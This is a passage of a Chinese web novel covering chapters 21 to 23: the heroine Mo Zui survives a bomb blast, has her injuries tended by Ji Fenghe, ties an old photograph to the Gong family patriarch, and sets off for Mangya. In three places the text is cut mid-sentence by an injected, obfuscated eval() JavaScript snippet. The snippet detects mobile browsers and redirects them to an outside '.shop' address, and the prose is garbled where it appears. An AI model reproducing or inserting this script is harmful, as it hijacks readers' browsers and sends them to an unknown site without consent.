“可是个屁!”莫醉几乎是怒吼,“你穿的是防爆的衣服吗!?你手上有高压水枪吗?!赶着送死吗!?” 最后三秒。 消防员还有迟疑,莫醉劝无可劝,不再管他们,一瘸一拐穿过人群,尽最大的可能远离那道门。 砰!! 炸弹爆炸,爆炸声震天动地。 防爆门被巨大的冲击波冲击变形。时间空间被撕裂、被扭曲。脚下的楼梯摇摇晃晃,剧烈的震动从脚底板直冲天灵盖,众人无法站稳,只能蹲下身子,紧紧抓住楼梯的铁栏杆,勉强维持平衡。四周的墙皮簌簌下落,砸在地上、楼梯上、人的身上,溅起一片尘雾,模糊了视线。 世界仿佛抽成真空,在一瞬间变得很安静,只有尖锐的嗡鸣声,不断刺探着耳膜。莫醉缩成一团,张大嘴,捂住耳朵,周身骨骼五脏六腑被挤压,几乎不能呼吸。 炽热的气浪如无形的火焰,从门缝边缘呼啸涌出,掠过躲避的人群,带来针刺般的灼痛。 不知过了多久,热浪终于退散,世界恢复平稳。空气中弥漫着尘土的味道和火烧过的焦糊味,耳边嗡鸣逐渐停息。莫醉瘫倒在楼梯上,仰头看着模糊又清晰的塔顶,以及四周窗户中透出的灰色天空,忍不住笑起来。 竟然活下来了。 活着可真好啊。 - 爆炸过后,有人往上走有人往下行,每个人都步履匆匆面容严肃,为这场莫名其妙突如其来十几年难遇的爆炸善后。 但这一切都与莫醉无关了。 她并不关心事情后续的发展,晃了晃混沌的脑袋,垂着头一步一步向上,思考接下来该如何做。 这事闹大了,一会儿肯定会来更多的人。她实在不想和这群人打交道,不想暴露在公众的视野里,定要尽快找个法子溜走才行。 莫醉一瘸一拐上行,走了半圈后突然被人拉住胳膊。她抬头,见是季风禾,疑惑问:“怎么了?” 季风禾瞥了眼她的脚:“脚受伤了?” “没有啊。”莫醉说完,恍然明白他为何这么问,解释道,“膝盖摔到地上,走路有点痛。不过应该没骨折,问题不大。” 季风禾转过身,曲膝弯腰:“上来。” 莫醉抬头看了一眼曲折上行的楼梯,不和他客气,老老实实趴到他的背上,环住他的脖颈,压低声音问:“你后来去哪儿了?又是怎么出现在这儿的?” “那道旋转门应该有个机关,通向不同的地方。我走进一个防空洞,里面什么都没有,走到尽头后是一道铁门,推开后是这里的最底层。” 莫醉恍然大悟:“你走上来的时候路过防爆门,觉得这里很奇怪,所以叫人来开门?” “不是。出去的时候正好碰到边洛阳他们,才确定这里面有问题,于是报了警。之后警察分两拨,一拨搜疗养院,一拨搜这里,发现只有防爆门与其他门不同,且打不开,推测你们或许被困在里面。警方叫了消防来暴力破门,但巧的是,附近有民警抓到一个入室抢劫的小偷,干脆顺道拉到这里来,让他试试开锁。” 莫醉震惊:“那防爆门挺复杂的,我在门里面的时候尝试开过,没成功。这小偷也是能人啊。” 季风禾也忍不住笑:“听说是‘格尔木第一盗’,人生的一半都是在看守所里度过的,几乎认识格尔木所有的警察。你呢?后来发生了什么?” 后来的事一言难尽,莫醉想要告诉他,都不知道从何说起。她看着一旁来来往往的人,无奈道:“我那发生的事太多了,一时半会儿说不清楚。等出去后找个机会告诉你。” 说话间,季风禾背着莫醉走了一圈又一圈,到达建筑的出口。 这里似乎是个废旧的工厂,四周都是高大的厂房,空气中残余着刺耳的味道。院子中堆积着破烂的机器,被油布粗糙盖着遮挡雨雪,露出的部分已然有生锈的痕迹。 天色已晚,灰蓝色的天空因积雪的映照,比寻常傍晚要亮堂不少。救护车已经赶到,正将昏迷的大白鹅抬上车。救护车旁,蔡思韵和边洛阳抱在一起,边洛阳温柔抚摸着怀中姑娘凌乱的发,口中不断安抚。 更远处,警车呼啸而来,警笛声贯穿整条街道,击碎寂静的雪夜。 季风禾将莫醉背到救护车旁:“你跟他们一起去医院检查一下。”他顿了顿,又补了一句,“检查费用我来支付。” 莫醉摇头,一秒都没犹豫:“不用了。我都是外伤,休息一下就好。” 蔡思韵听到二人的话,推开边洛阳,跑到她的身边,眼中的惊恐因男友的安抚,已淡了不少:“老大,里面那人……” “大概死了。”莫醉强迫自己冷下心肠,“不放弃他,死的人更多。” “可是若当时——” “若当时什么?”莫醉的声音近乎冷漠,脑海中画面定格在三白眼安静躺在地上的身影,“你和我、大白鹅还能好好活着,已是最好的结果。” 她在劝蔡思韵,也是在劝自己。 “你说得对。”蔡思韵深吸一口气,不再想这件事。她顿了几秒,将话题撤回去医院检查的事上,“老大,你刚刚离那门那么近,万一受了内伤怎么办?还是和我们一起去医院检查一下吧。” 莫醉挑眉:“爆炸受的波及估计都没打架受的伤严重。”见蔡思韵还要劝,她忙打断她,“你要实在不放心,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541733|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医院的时候顺便帮我开点红花油或者膏药,到时候给季风禾,他会转交我。” 莫醉将季风禾扯进来,纯属为了摆脱蔡思韵的纠缠。总归她准备寻个空儿溜之大吉,只要拖过这一会儿,蔡思韵爱找谁找谁,反正找不到她。 一旁的季风禾接话:“你去哪儿?” 莫醉也不知道她要去哪,随意道:“回车上凑合一晚吧。” 季风禾将房卡和车钥匙递给她:“你先回酒店,我留下善后。” 莫醉愣愣接过,眼睛瞟向蔡思韵:“这不好吧。虽然我是不嫌弃你房间里的沙发,但我这人还是有一定道德底线的——” 季风禾挑眉:“那是套房,不止一个卧室。” 蔡思韵听了个囫囵,眼睛亮起来:“老大,你是季二哥的女朋友吗?你早说啊,咱们是一家人啊!” ……神一样的一家人。莫醉呵呵笑:“你们这一家子,人口挺多的啊。” 蔡思韵认真点头:“是啊,我们家和季家是世交,几乎算是一家人。到现在长辈们还计划着想让我们俩凑成一对呢。不过你别误会,我们俩互相看不上,虽然平常戏称对方是未婚妻未婚夫,但绝对没那个意思。”她亲亲热热拉过一旁的边洛阳,“我喜欢这种型的。” 莫醉眯着眼看边洛阳,想起罗布泊地洞里他的晦气样,很想建议蔡思韵去医院的时候顺便查查眼睛。她摸了摸鼻子,侧眸看季风禾,眼神中有惋惜有遗憾:“竟然是这样啊……” 季风禾:…… 莫醉的余光划过手中的房卡和车钥匙,犹豫一瞬,还是决定还给季风禾。正要递出,便听到那人说:“东西还在酒店里。” 莫醉和季风禾出门时,不方便带那本老宅中发现的厚重相册,本想着找到蔡思韵再回去拿,没想到脑子一迷糊,险些将这最重要的事忘了。莫醉心安理得收下房卡和钥匙,隐晦嘱咐:“尽量别和这群人提我,能绕开就绕开。” 季风禾定定看着她:“在房间里等我,我有事要告诉你。” 莫醉像是中了魔似的不自觉点头,之后突然醒悟,他和她非亲非故,能有什么事要说? 蔡思韵轻声问:“那我呢?警察肯定会来问我发生什么,我能如实说吗?” “随便。” 莫醉挥挥手,准备离开时被边洛阳喊住:“莫姐,那个,上次你给我的微信号,我后来忘记抄写下来。等我手机充上电,胳膊上的号码已经被洗掉了。你能再给我一次吗?” 莫醉愣住,一些沉睡的记忆逐渐复苏。她疑惑道:“你不是已经加了我的微信吗?但是一直都没说话,也没发照片。” 边洛阳愣住:“没有啊,我没加过你啊。” 莫醉掏出手机,刚准备翻微信,手机屏幕却怎么都按不亮,估计是没电了,只能作罢。她看着边洛阳肯定的目光,开始怀疑是否她的脑子出现问题,导致记忆出现偏差。好在她不是个在小事上纠结的人,耸耸肩:“我现在手头没笔,没法给你留联系方式,下次有机会再说吧。” “没事,回头让季二哥把你的联系方式推给我,我再推给洛阳。”蔡思韵不关心边洛阳和莫醉之间有什么关系,只一脸憧憬道,“老大,刚刚洞里我说的话是真心的,你千万考虑考虑啊!” 问题是你的季二哥也没我的联系方式啊!莫醉还要说什么,被季风禾打断:“他们快到了,你要走需要尽快。我的车就停在后门路边。” 警笛愈发响亮,似乎就在一个路口外。莫醉不再耽搁,甩了甩钥匙:“行,回见。” 21.红花油 莫醉开车回到酒店附近时,马路边白茫茫空荡荡,蹲守的人已然不在。她将车停好,一路顺畅无阻回到房间,第一件事就是将藏在衣服里的塑料垫板取出。 在防空洞时情况紧急,她大致瞥了几眼,看不太懂。此刻在光线明亮的安全处细细阅读——依旧看不懂。 纸张上的英文单词个顶个的长,像是专业术语。结合防空洞的环境,莫醉猜测是医学类的词汇。书桌旁的充电口上插着充电器,莫醉将没电的手机插上,等着开机的功夫,瘫坐在一旁的椅子上,思索起这一整日的事。 从在老房子里找到旧相册,被人追了半座城起;再到阴差阳错被季风禾救下,听到他接蔡思韵的求救电话;最后到意外进入防空洞,发现防空洞里“望”姓的白骨和干尸。这几件事乍一看毫无关联颇为随机,但莫醉总觉得,似乎有一只藏在暗处的手,在推动着一切的发展。 可真的有人能提前预料到一切的发生吗?她今日来格尔木老房子的事未提前告诉任何人,跟随季风禾一起去疗养院也是自愿的,无人逼迫……还是说她太过敏感,单纯想得太多? 再者,防空洞里的干尸和白骨虽然大概率姓“望”,但没有证据证明他们与她、与她的族人有关,兴许这就是个巧合。 房间里温度适宜,将藏在身体里的疲累和困顿都激发出来。莫醉脱了鞋子抱膝缩在椅子里,脑中想着白日的事,不知不觉间睡了过去。她不知道睡了多久,直到被房间门的开合声惊醒,抬起头时,正看到推门而入的季风禾,手上拎着一个塑料袋。 “抱歉,吵醒你了?” 莫醉摇摇头:“没有,闭目养神呢。” 莫醉站起身,伸了个懒腰,舒展筋骨,不小心带到肩膀上的伤,忍不住倒吸一口冷气,彻底清醒。季风禾坐到沙发上,将袋子里面的东西一样样取出。莫醉凑过去看,是红花油和碘酒。她把碘酒塞回袋子里:“没破皮,只是挨了几下,估计有些瘀伤。” 季风禾没说话,瞥了眼她的手,莫醉循着他的视线抬起手,才发现手掌边沿有几道擦伤,略有些红肿,不知是什么时候弄的,她都没发现。 季风禾挽起袖子,拧开红花油:“伤到肩膀了?” 莫醉也不扭捏,坐到他身边,将外套脱下,露出里面的棕色无袖背心,以及左肩上的瘀伤:“嗯,挨了一拳,也有可能是一掌。” 苍白的肩膀后落着碗口大的青紫色痕迹,边沿不规则,几乎覆盖半个臂膀,格外明显可怖。双侧手臂亦有瘀伤,和肩膀相比不算严重,泛着淡淡的青黄。 季风禾看着这些伤口,几乎可以想象到防空洞里的恶战。 他收回视线,将红花油倒在瘀伤处:“你走进铁门后,都发生了什么?” 药油落到肌肤上,冰冰凉凉,莫醉控制不住打了个激灵,瞬间起了一层鸡皮疙瘩。她搓了搓手臂,缓缓道:“走过旋转门,我进入一个没有灯的防空洞,走到尽头看到一扇门,门后是个有灯的甬道,像医院又像监狱。我走到最尽头,又进入一个空间,是防爆门后的那个空间,在里面找到了被关起来的蔡思韵和大白鹅。之后我撬了锁,将她们救出来,碰到突然出现的保安,和其中一个打了一架,刚把他勒晕,另一个就出现了。那人比较滑头,趁我不注意跑了,之后搬出早就准备好的炸弹,打算把我们都炸死在里面。” 莫醉流水账似的将下午的经历说出,语气时快时慢,说的话虽然都是真的,但隐瞒掉一部分蔡思韵和大白鹅没看到的内容,比如干尸和白骨。 背后轻柔涂药的动作停顿一瞬,而后突然加重,像是手掌边缘在用力按压。莫醉想要转身挣脱,手臂却被身后人控制住,只能不满道:“疼啊!” “淤血揉开了好得快。”季风禾嘴上这么说,动作到底轻了几分,继续往下问,“你是说,对方有两个人?只为了看一个什么都没有的防空洞?” “我也有些奇怪。”莫醉说得模糊,将重点引到那二人的身份上,“第二个出现的人似乎并不准备救被我勒晕的那个人。我感觉他不仅仅是要炸死我们这些闯入者,也想炸死他的同伴,和整个防空洞。不过这个人应该对这里极为熟悉,估计已经逃出去了,警方可以通缉一下,要是能找到这个人,很多事情都能知道答案。” “你记得他的长相吗?” 莫醉眯着眼回忆了一下:“就记得是个自来卷,头发紧贴头皮,像电视剧里面的佛祖。长相的话,中规中矩,普通人长相,挺瘦小的,没什么特别显眼的标志。” 伤口在按压下逐渐发热,竟然真的不像刚刚那般疼痛。痛感削弱,别的感觉翻涌清晰,比如有力的手掌,比如炙热的温度。莫醉咽了口口水,心中生出一抹遐思,挣扎道:“我觉得我已经不痛了。” “药还没浸入肌理。” 季风禾的声音一本正经,莫醉却觉得他在扯谎。又不是腌牛肉,上个药还能入味?她还要说什么,季风禾再次开口询问:“你对今天的事怎么看?” 莫醉想回身看他的表情,却被他按住,只能谨慎开口:“我觉得挺奇怪的。整个疗养院废弃多年,早就停水停电,但那个防空洞里竟然还通着电,亮着灯。这电从哪儿来?而且,据第二个人说,他二十年前就来这看守,防空洞是十年前废弃的,这地方曾经到底是做什么用的,藏着什么秘密,官方是否知晓?可惜我一时不察,让那个人跑了。还有那个旋转门。你进门时,我离你只有几步远,若那道门有什么机关,不同人走进去会通向不同的地方,那机关启动总该有声音吧?地下那么安静,我一丁点声音都没听到,这太奇怪了。最后,这个通道连接着疗养院和一个废弃的工厂,这两者之间是否有什么关联?” 季风禾又倒了些红花油在手心,按在莫醉的手臂上,在她挣扎前抛出新的诱饵:“那废弃工厂曾经是个化工厂,建在格尔木边缘,有传言称厂子倒闭后,里面还残留着有害化学物质,所以厂子一直没有人接手,平日里也无人愿意靠近这里。” 莫醉咬住这个饵,果然安静下来,认真道:“这倒是个好借口。工厂里的防空洞入口并不算隐蔽,只要走进那个水塔样的建筑,就能瞧见。用有毒化学物质来阻挡人们的好奇心,真是妙啊。看来这工厂和防空洞里的事脱不了干系,需要查查这工厂以前的老板是谁,才能知道真相。” 季风禾认真听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555612|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手上动作不停,不停按压着莫醉手臂上的淤青。莫醉的感官被无限放大,初时有针刺般的疼痛,后来转为酥麻,蔓延开来,延伸到心口和四肢百骸,渐渐心猿意马起来,想要挣脱又忍不住沉醉。 “你似乎很关心防空洞的事。”季风禾意味深长。 莫醉瞬间清醒,盯着桌上的相册,一时没说话。 季风禾似乎并不在意她的回答:“没有一个地方废弃后还会坚持通电十年,只为了照明;也没有一个地方会在废弃十年后,仍旧安排人小心翼翼看守。除非那里藏着需要电才能维持、保护的秘密。”他的手抚上她的后脖颈,缓缓环住,滑到前方,停住动作,“莫醉,你不信我,你没说出全部的实情。你在里面看到了什么?或者说,你到底想要隐藏什么秘密?” 季风禾垂着眼睛,扼住莫醉的咽喉,瞧着危险,实则并未用力。莫醉格开他虚浮的手臂,侧过头盯着他的脸:“既然是秘密,怎么能告诉你?咱俩只见过几面,连朋友都算不上,你凭什么要我信你?” 二人离得极近,膝盖碰着膝盖。莫醉的个头比季风禾略矮一些,仰起头似笑非笑,一双眸子明润闪亮,唇角藏着讥诮。 季风禾抽了张纸巾,慢条斯理擦着手上的红花油:“你说得对。我们不算朋友,所以我也没必要告诉你,这工厂以前的老板是谁,以及——”他瞥了一眼桌上的相册,“相册最后那张照片上的人是谁。” 季风禾知道照片上站在祖母身边的人的身份? 莫醉一向可屈可伸,只用一秒便做出了反应。她抢过季风禾手中的纸巾,帮他擦试着手上的药油,讨好道:“季总,咱俩当然不算朋友,你是我的老板,你是我的金主爸爸,你是我的神!我怎么配和神做朋友!” 季风禾嫌弃地将手从她的掌心抽出,莫醉不气馁,立刻改为捏腿,眨巴着眼睛小心翼翼试探:“老板,您行行好告诉我吧,照片上的人到底是谁呀?” 季风禾垂下眼睛,看着莫醉软绵绵的手:“没做过按摩么?谁家捏腿这么没力?你饿了?” 莫醉这一日都没怎么吃东西,确实有些饿了,听到季风禾的话,嘀嘀咕咕反击:“我穷得叮当响,当然不和城里的大少爷似的,整天马杀鸡。再说了,你这细胳膊细腿,我怕我一个不小心,给你捏断了,还要赔偿你医药费。” 她一边说,一边加大按摩的力气。季风禾没和她争辩,悄悄松了口气,这才回答她的问题:“你听说过燕城宫家吗?长盛医疗集团背后的老板。几十年前,宫家的产业板块横跨多个领域,刚刚的那家废弃工厂曾经是长盛能源盐湖化工厂,就是宫家的产业,由于运营不善,十几年前倒闭废弃,宫家自此撤出格尔木。至于防空洞中的电是否是从这家工厂走的线,需要请人去查一下工厂的电表接线,或者去查一下这些年化工厂的电费记录,应该能知道真相。” 莫醉将此事记在心中,追问道:“照片呢?你说你知道照片上的人是谁,是真的吗?” 季风禾前倾身体拿起相册,径直翻到最后一页,指着照片右侧第二个人道:“我也是刚刚才想起,照片上的这个人,似乎有些像宫家的老太爷,宫世玉。” 22.宫家 莫醉听说过宫家,听说过长盛医疗,但没听说过宫世玉这个名字。 “冷湖石油可不是私家产业,和宫家应该是没有任何关系的。宫家的产业不是大都在燕城附近和南边沿海一带吗?你说的这个宫家的老太爷,怎么可能会出现在冷湖油矿?会不会只是个长得有些相像的人?” 季风禾解释:“早些年,因为外界环境和家族内部纷争,宫家乱过一阵子。当时掌家之人是宫世玉的父亲,他共有三位夫人,五个子女,宫世玉是最小的那个。因为年纪小,加上母亲出身不好,宫世玉成人后,被其他几个哥哥姐姐挡在家族生意外,放逐离开燕城。直到上个世纪八十年代中,四十多岁的宫世玉重新回到宫家,趁着宫家生意缩减,不知做了些什么,将宫家的权力和生意收入手中,成了宫家新一代的掌权人。” 听起来像是一代枭雄卧薪尝胆、智斗兄弟姐妹,最终成功上位的发家史。 莫醉凑近相册,盯着看了一会儿后,指着”宫世玉”旁边的人问:“这俩人看着像是一对儿。宫世玉后来可娶了老婆?是这个人吗?” “不是。”季风禾回答得不假思索,“宫世玉一生未娶妻,后来从旁支过继了几个孩子,又领养了几个孩子,培养成材。” 莫醉叹了口气:“若照片上的这人真的是你说的这个宫世玉,看来又是个抛弃糟糠之妻的故事啊。对了,宫世玉现在还活着吗?” “活着,不过七八年前生了场大病,出国养病后一直没回来。现在宫家的ceo是他的长女,也是他收养的孩子。” 莫醉琢磨了一会儿,将现在手上的线索梳理了一下。 其一,一张拍摄于石油小镇的照片。照片上的祖母还很年轻,和祖父还有四个还有站在一起,笑得开怀。 其二,意外发现的防空洞以及在其中找到英文资料、白骨和干尸。防空洞的其中一个入口在一座废弃工厂的建筑中,毫无遮掩。废弃工厂是宫家的产业,巧的是,宫家的当家人宫世玉,与祖母照片上出现的一个人极为相像,很可能是同一个人。 这两件事似乎能联系在一起。 若想查清这一切,首先要去找关于石油小镇的资料,其次就是关于宫世玉的信息。 季风禾看着她认真的模样,忍不住问:“你在想什么?” 莫醉在撒谎和坦诚上左右摇摆一瞬,最后还是选择说实话:“在想如何查证照片上的人究竟是不是宫世玉。” “宫世玉从未对外说过他在外的那些年去了哪,做了什么,甚至很避讳他人提及当年的事。你若想确认这点,有些困难。” 莫醉本来也不觉得这件事会这么容易办成:“那就从照片的拍摄地查起。听说石油小镇鼎盛时,住了几万人,这些人里兴许有人认识照片上的这几个人。” 季风禾一噎,给了个四字评语:“大海捞针。” 莫醉哪儿能不知道这做法有多不靠谱。 先不提几万人中究竟有多少人曾经认识照片上的人,她都记不得她的小学同学叫什么名字长什么模样,凭什么指望这群人还记得几十年前的事?更何况,就算他们认识,并且记得,如今也应该是上了年纪的老人,她又怎么能保证他们都还活着,思绪清晰,表达能力尚在? 毕竟就连她的祖母,也过世四年了。 另外,她从没忘记她搜寻这一切的目的,是为了查找祖母的过去,关于吉牙族的信息。她之所以查这张照片,是因为这是她找到的关于祖母的最早的一张照片,但这并不意味着,照片上的这几个人也与吉牙有关。 万一只是几个好友心血来潮的一张合影,她岂不是白忙活一场? 不过是因为她没有别的办法罢了。 莫醉靠到沙发背上,整个人几乎陷进去。墙壁上的射灯光线角度刁钻,将她眼下的乌青和疲惫全部暴露,乌黑长发杂乱四散,包裹遮掩着脸颊,黑白分明,瞧着竟有几分羸弱可怜。 季风禾手指交叉:“其实也不是完全没办法。” 莫醉抬眼看他,声音有气无力:“愿闻其详。” 季风禾正要开口,房门被敲响。他动作一顿,站起身去开门。莫醉立刻调换姿势,趴倒在沙发上,将脑袋搁在沙发扶手后,只露了一双眼,警惕地盯着房门。 房门打开,香味扑鼻而来,是酒店的人送来晚餐。季风禾拒绝了服务生布菜,接过餐车正准备关门,餐车后蹦出一个人,从缝隙中挤进房门,边嚷嚷边东张西望:“老大呢?” 是蔡思韵。 季风禾没拦她,任由她蹦跳进房间。莫醉看到是熟人,松了一口气,肌肉松弛下来,慢悠悠抬起爪子挥了挥:“又见面了~” 蔡思韵已经梳洗整理过,扎了个丸子头,穿着嫩黄色的毛衣,脸颊婴儿肥未退,圆润饱满,笑眼盈盈,已看不出下午时的狼狈模样。她没穿外套,趿拉着酒店的拖鞋,显然也住在这个酒店。 蔡思韵走到沙发边,瞧见莫醉衣衫不整,肌肤泛红,眼神迷茫,有气无力的模样,磕磕巴巴问:“我是不是打扰到你们了?” “打扰什么?”莫醉抓抓头发,用了几秒才反应过来她是什么意思,解释道,“你误会了。我和季总不是你想的那种关系。” 蔡思韵递了个“我都懂”的眼神给她,将手中的塑料袋递给他:“你要的药。” 莫醉视线滑向桌上还未收起的药:“这些不是你买的啊……” 用过的红花油还没收起,碘酒和纱布,甚至还有一盒阿莫西林静静躺在敞开的袋子里,蔡思韵一看就明白,意味深长:“还说你们不是这种关系。”她将塑料袋扔到茶几上,摸出手机划开屏幕,“我来就是为了加你好友的。咱们防空洞里说好了的,我认你做老大,你以后有什么好玩的刺激的探险,一定要叫上我。” 到底谁和谁说好了啊!莫醉慢吞吞起身,磨蹭到手机边,问道:“说起来,你两个星期前刚受伤,这才过了几天,就来了格尔木。在格尔木里又遇到糟心事,你有没有想过,你运气有问题,应该去找点柚子叶去晦气,或者去庙里拜拜啊?” 蔡思韵呆住,真的开始思索莫醉的建议:“你说的有道理啊!回燕城我就去拜拜,你要不要和我一起去?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他将话题引到防空洞里发生的事,蔡思韵虽然不知他为何不问莫醉,但还是老老实实回答,末了将莫醉最潇洒利落英明神武的部分翻来覆去重复几遍,直夸得莫醉飘飘欲然,忽略掉季风禾语言上的试探,不知不觉间将桌上几人份的饭吃得七七八八。 莫醉摸摸突出来的胃,全身暖洋洋的,心情也好了不少:“对了,你是不是该回去了?我和你一起吧。” 蔡思韵没想到莫醉晚上不住在这,看看季风禾再看看她,迟疑道:“行啊,你晚上住哪?” 莫醉也不知道这大冷天该去哪儿住,随口道:“我这么大个人了,总不至于露宿街头,别担心了。” 莫醉站起身,看着一桌狼藉,正犹豫着甩手就走是不是不太好时,季风禾开口:“今天时间太晚了,这儿不止一个房间,空着也是空着,就在这凑合一晚吧。” 季风禾背光而坐,面容藏在阴影里,表情如常,却辨不清晰眼神。莫醉心突得一跳,抬眼看他,分不出是客套还是真心,只能开玩笑道:“孤男寡女共处一室,你就不怕我午夜时分变身,将你一口吃了?” “这听着倒是有趣。”季风禾挑眉,声音中似有笑意更多的是挑衅,“我还没见过能变身吃人的活人,正想见识见识。” 23.回茫崖 房间里的气氛古怪起来。 莫醉自小招鸡逗狗的事没少干,幼儿园的时候三天两头调戏同班白净小男孩,大学的时候碰到喜欢的学长,主动出击嘘寒问暖,常常让对方招架不住。 从来都是她逗得对面面红耳赤,倒是少有人和季风禾似的,三言两语怼得她不知道该接什么。 蔡思韵摸摸鼻子,脚趾抓地,正不知道该说什么的时候,季风禾目光瞥向她:“我刚刚说的办法,关键处就在她身上。” 暧昧又尴尬的话题就此揭过。 莫醉眨了眨眼,勉强将混沌的思绪按压,回忆起不久前二人讨论的关于宫世玉的话题:“她不是姓蔡吗?她和宫家有什么关系?” “宫家?”蔡思韵一脸疑惑,“你是说我姥爷家?” “嗯。”季风禾颔首,“她想知道关于宫世玉的事。” 莫醉颇有种柳暗花明又一村的感觉:“你和你姥爷熟吗?” 蔡思韵微微蹙眉:“我和我几个舅舅姨妈熟,和我姥爷不太熟。我姥爷是个挺严厉的人,和家中小辈儿都不亲近。你想知道关于他的什么事?” 莫醉犹豫着要不要将照片给蔡思韵看,让她帮着辨认一下,最后还是放弃了这个念头,直接道:“听说他年轻时候离开过燕城,你知道他去哪儿了吗?” “我不知道。这事是个秘密,姥爷从不和人说。”蔡思韵顿了顿,“又道,不过我曾经听我姑姥姥,就是我姥爷的姐姐提过一句,说姥爷离开燕城去大西北晃荡了一圈,胆子大了,匪气也重了,一点都看不出是宫家的人,给宫家丢脸。我姑姥姥他们几个一直看我姥爷不顺眼,小时候排挤他,大了又想弄死他。但我姥爷人蛮好的,不记仇,没亏待他们,还让家中小辈和尊敬他一样,尊敬姑姥姥他们。要我说,如今姥爷掌权,姑姥姥他们的小辈都在我妈手下讨生活,我们何必过得这么卑躬屈膝?我们就是甩他们脸色,他们又能怎么样?还不是要忍着。” 莫醉心思一动,看向季风禾:“会不会是知青啊?” “那张照片拍摄于一九六七年,那个时候还没有知青。”季风禾否认得干脆。 蔡思韵不知道照片是什么,嘀嘀咕咕开始说宫家的家长里短,莫醉耐着性子听了一会儿,确认全是八卦毫无实际内容后,出声打断:“你能带我去见见你的姑姥姥吗?或者你姥爷的其他兄弟姐妹。我想他们或许知道一些,你们这些小辈们不知道的事。” 蔡思韵没有立刻答应她:“等我回燕城后,帮你问问。对了,你要和我一起回燕城吗?”她逐渐兴奋起来,“不如你和我一起回去吧!我家在一个山上,占一整个山头,可好玩了!我家空房间也多,保管有你住的地儿。我姑姥姥他们也住在山上,如果我姑姥姥他们同意见你,我可以立刻带你去见她。” 莫醉琢磨了一会儿,没答应也没拒绝:“你先问问吧,有消息给我发信息。不过最好别说咱们在格尔木和罗布泊的事,就说是你在燕城新认识的朋友。” 蔡思韵没多想:“行,你是我老大,你说什么我听什么,你以后可要罩着我哦!” - 蔡思韵没多呆,领了任务后匆匆离开。季风禾带着莫醉到空房间,看着她一身的脏衣服,沉默几秒开口:“好好休息,橱柜里有浴袍,先凑合着穿。我就在隔壁房间,有什么事直接叫我。” 莫醉累得狠了,还是强撑着打趣:“放心,我比你能打。要是有贼人闯入,你听到声音赶紧藏起来。” 季风禾懒得反驳,将碘酒和创可贴递给她,说了句“晚安”后,转身离开。 俩人默契地不提刚刚的调笑,仿佛只是个玩笑。 房门合上,房间彻底安静。莫醉简单洗漱,一头倒在松软的床榻上,不多时便睡了过去。 一夜好眠,再睁眼时天还是黑的,在白雪的映照下,像是闪着光的灰蓝色。窗帘未拉,屋内的一切清晰又模糊,是天亮前的混沌,莫醉借着这点光翻身下床,赤脚走到窗边,伸展了下肩膀。 膝盖肿得更厉害了,走路时一瘸一拐,需要咬牙忍耐才能看着与平常无异。倒是肩膀上的瘀伤不怎么疼了,或许是因为季风禾和红花油的缘故。 肌肤上似乎还残存着那人手指的温度,莫醉沉溺一秒,搓了搓发烫的耳垂,抬眸看向窗外。 街上空荡荡的,万物被白雪覆盖,路灯的光昏黄而悠长。马路中央有灰色的痕迹,是被融雪剂融化后透出的沥青的颜色。偶尔有车经过,远光灯让空气的流动显形,是薄雾一般的形态。 格尔木的事已了,老宅中有用的东西已经找到,还有了另外的发现,没必要再继续耽搁下去。更何况,格尔木地广人多情况复杂,她人生地不熟,踪迹又已经泄露,还是尽快离开,先回茫崖再做打算。 季风禾的房门紧闭着,显然还没起。莫醉轻手轻脚,将衣服穿好,翻了个酒店的硬纸袋,把英文资料和相册收进袋子里,放轻脚步离开房间。 走出酒店,莫醉被扑面而来的冷风吹得退后几步,脑袋也清醒不少。她吹了口气,看着热气在路灯下缓缓散开,掏出手机点开萨摩耶的对话框,输入又删除,删除又输入,最后只留下两个字。 “走了。” - 季风禾是被门铃声吵醒的。 门外站着酒店的工作人员,将昨晚季风禾委托他们买的衣服递到他手中。 衣服已被清洗烘干,暖烘烘的,季风禾接过后,才发现房间里安静得出奇。他拎着衣服走到莫醉的房间外,见房门虚掩着,试探性地敲了两下,无人应答,直接推开门。 房间空荡荡的,除了床上有睡过人的痕迹,房间里的任何物件都没被使用过。 人都不知道走了多久了。 季风禾按亮手机,这才瞧见莫醉给他的留言。戈壁苍凉寂寥的照片头像搭配那两个冰凉的字,季风禾的记忆一秒被拉回两个星期前的罗布泊。 他盯着那两个字看了一会儿,无奈摇头,声音融化在空调的暖风中:“真薄情啊,连个‘再见’都不肯说。” 他抬眸看向窗外。 云层退散,太阳重现朝晖。日光照在远处雪山上,金光闪闪,像是着了火一般。他眺望日照金山的景象,可以确定,今天又是个好天气。 - 今日天气确实难得的好。 天色是水洗过的湛蓝,白雪覆盖戈壁滩上嶙峋的石头,枯死的骆驼刺和梭梭树,以及更远处蜿蜒的昆仑山脉。昆仑山脉如白龙的脊梁,盘踞在广袤的雪原上。 